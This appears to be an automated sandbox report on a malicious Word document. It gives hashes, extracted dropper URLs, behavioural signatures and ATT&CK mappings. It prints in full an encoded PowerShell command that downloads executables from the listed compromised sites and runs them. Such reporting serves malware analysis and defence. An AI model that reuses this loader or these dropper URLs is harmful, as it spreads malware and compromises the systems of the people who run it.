476bda4086b08cc29f2b675ef7ad67b3dc2fbecfedc65c4ebaab846b035fff65

General

Target

476bda4086b08cc29f2b675ef7ad67b3dc2fbecfedc65c4ebaab846b035fff65.doc
Size

281KB
MD5

2e974bad821edcef033d931f6ced371a
SHA1

f2982a048f385ce38682fa2a811e3f87fba86fb0
SHA256

476bda4086b08cc29f2b675ef7ad67b3dc2fbecfedc65c4ebaab846b035fff65
SHA512

2341f94897dbb06c622b6c939abc5d04b8cdf366ecf3d01b1f8c9295383490b3dae39bcab9e74a783c3f8cf3a771da844a8a31fce61f65d42dec0c8f50edd9ae

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://thesilverant.com/test/dvr9/

exe.dropper

http://firstmnd.com/wp/wp-content/3k960/

exe.dropper

http://citylandgovap.net/8dqs5fv/6J/

exe.dropper

http://deredia.com/cgi-bin/cbas/

exe.dropper

http://fattoriaiponti.com/wp-admin/o1wiEqPfN/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2736	4016	powershell.exe

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

38 2736 powershell.exe
42 2736 powershell.exe
45 2736 powershell.exe
49 2736 powershell.exe

flow	pid	process
38	2736	powershell.exe
42	2736	powershell.exe
45	2736	powershell.exe
49	2736	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3632 WINWORD.EXE
3632 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2736 powershell.exe
2736 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2736 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

3632 WINWORD.EXE
3632 WINWORD.EXE
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

3632 WINWORD.EXE
3632 WINWORD.EXE
3632 WINWORD.EXE
3632 WINWORD.EXE
3632 WINWORD.EXE
3632 WINWORD.EXE
3632 WINWORD.EXE
3632 WINWORD.EXE

pid	process
3632	WINWORD.EXE
3632	WINWORD.EXE

pid	process
2736	powershell.exe
2736	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2736	powershell.exe

pid	process
3632	WINWORD.EXE
3632	WINWORD.EXE

pid	process
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 3632 wrote to memory of 4660	3632	WINWORD.EXE	splwow64.exe
PID 3632 wrote to memory of 4660	3632	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\476bda4086b08cc29f2b675ef7ad67b3dc2fbecfedc65c4ebaab846b035fff65.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3632

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:4660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABiADAAOQAwADUAMAAyADAAYwA5ADAAYwA1AD0AJwBiADgAMQAzADcANgAzADQAMwA5AGMAMABjACcAOwAkAGIAeAAyADQANwAwADQANgAwADUAMgAgAD0AIAAnADgANwA3ACcAOwAkAHgAOQAwADEAeAA0ADMAMQAyADMANQAzAD0AJwB4AGIAYwA5ADEAMgAyADAANAAzAHgAJwA7ACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYgB4ADIANAA3ADAANAA2ADAANQAyACsAJwAuAGUAeABlACcAOwAkAHgAMwBjAGIAMAA0ADIAOQA1ADcANgA4AD0AJwBjAHgAMQB4AHgAeAB4ADYAYgA4ADUAJwA7ACQAYwA0ADQAMgA5ADAAMgAwADIAeAB4ADAANAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AEUAYgBDAGwAaQBFAE4AVAA7ACQAYgBjADMAMwAwADEAOAAwAGMAMAA4AD0AJwBoAHQAdABwAHMAOgAvAC8AdABoAGUAcwBpAGwAdgBlAHIAYQBuAHQALgBjAG8AbQAvAHQAZQBzAHQALwBkAHYAcgA5AC8AKgBoAHQAdABwADoALwAvAGYAaQByAHMAdABtAG4AZAAuAGMAbwBtAC8AdwBwAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADMAawA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBjAGkAdAB5AGwAYQBuAGQAZwBvAHYAYQBwAC4AbgBlAHQALwA4AGQAcQBzADUAZgB2AC8ANgBKAC8AKgBoAHQAdABwADoALwAvAGQAZQByAGUAZABpAGEALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBjAGIAYQBzAC8AKgBoAHQAdABwADoALwAvAGYAYQB0AHQAbwByAGkAYQBpAHAAbwBuAHQAaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbwAxAHcAaQBFAHEAUABmAE4ALwAnAC4AIgBTAHAAYABsAGkAdAAiACgAJwAqACcAKQA7ACQAeAAzADMANgBjADUAMAAxADAAYgAyADcAPQAnAGIAOQA2ADcAYgAxAHgAMgAwADEAMgAnADsAZgBvAHIAZQBhAGMAaAAoACQAeAAzADcANQAwADAAOAAxADAAMAA1ADcAYwAgAGkAbgAgACQAYgBjADMAMwAwADEAOAAwAGMAMAA4ACkAewB0AHIAeQB7ACQAYwA0ADQAMgA5ADAAMgAwADIAeAB4ADAANAAuACIAZABPAFcAbgBMAGAATwBhAGQAZgBgAEkATABFACIAKAAkAHgAMwA3ADUAMAAwADgAMQAwADAANQA3AGMALAAgACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgApADsAJABiADYAMgA2ADgAMQB4AGMAMwBjAHgANAA9ACcAeABiADAAMAA1AGIAMAA1ADAANgB4ADMANQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAGIANAA4ADAANwA5ADAANwAwAGIAMQA5ADIAKQAuACIATABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAyADcAOQAxADgAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AEEAYABSAHQAIgAoACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgApADsAJAB4ADIAYgAwADcAOAA3ADcAOAA0ADAAMAA9ACcAYgAxADAAMgAwADEAMAAxADAAMAA2ADAAJwA7AGIAcgBlAGEAawA7ACQAYgAyADAAOAAyADAAeAAwADIAYwAzADMANQA9ACcAeAAxAHgAMQAxAHgAMAA0AGMANQA4ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGIAYwA1ADkAMAAwAGIAMwA4ADEAOAAyADcAPQAnAGMAMAA3ADkAOAAwADkAOQA2ADgANgA4ADkAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2736

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2736-139-0x0000026E57F30000-0x0000026E57F52000-memory.dmp

Filesize
136KB

Download
memory/2736-142-0x00007FF8B2550000-0x00007FF8B3011000-memory.dmp

Filesize
10.8MB

Download
memory/2736-141-0x00007FF8B2550000-0x00007FF8B3011000-memory.dmp

Filesize
10.8MB

Download
memory/2736-140-0x00007FF8B2550000-0x00007FF8B3011000-memory.dmp

Filesize
10.8MB

Download
memory/3632-134-0x00007FF89D870000-0x00007FF89D880000-memory.dmp

Filesize
64KB

Download
memory/3632-135-0x00007FF89B780000-0x00007FF89B790000-memory.dmp

Filesize
64KB

Download
memory/3632-136-0x00007FF89B780000-0x00007FF89B790000-memory.dmp

Filesize
64KB

Download
memory/3632-138-0x0000017AB48A0000-0x0000017AB48A4000-memory.dmp

Filesize
16KB

Download
memory/3632-130-0x00007FF89D870000-0x00007FF89D880000-memory.dmp

Filesize
64KB

Download
memory/3632-133-0x00007FF89D870000-0x00007FF89D880000-memory.dmp

Filesize
64KB

Download
memory/3632-132-0x00007FF89D870000-0x00007FF89D880000-memory.dmp

Filesize
64KB

Download
memory/3632-131-0x00007FF89D870000-0x00007FF89D880000-memory.dmp

Filesize
64KB

Download
memory/3632-144-0x00007FF89D870000-0x00007FF89D880000-memory.dmp

Filesize
64KB

Download
memory/3632-145-0x00007FF89D870000-0x00007FF89D880000-memory.dmp

Filesize
64KB

Download
memory/3632-146-0x00007FF89D870000-0x00007FF89D880000-memory.dmp

Filesize
64KB

Download
memory/3632-147-0x00007FF89D870000-0x00007FF89D880000-memory.dmp

Filesize
64KB

Download
memory/4660-137-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads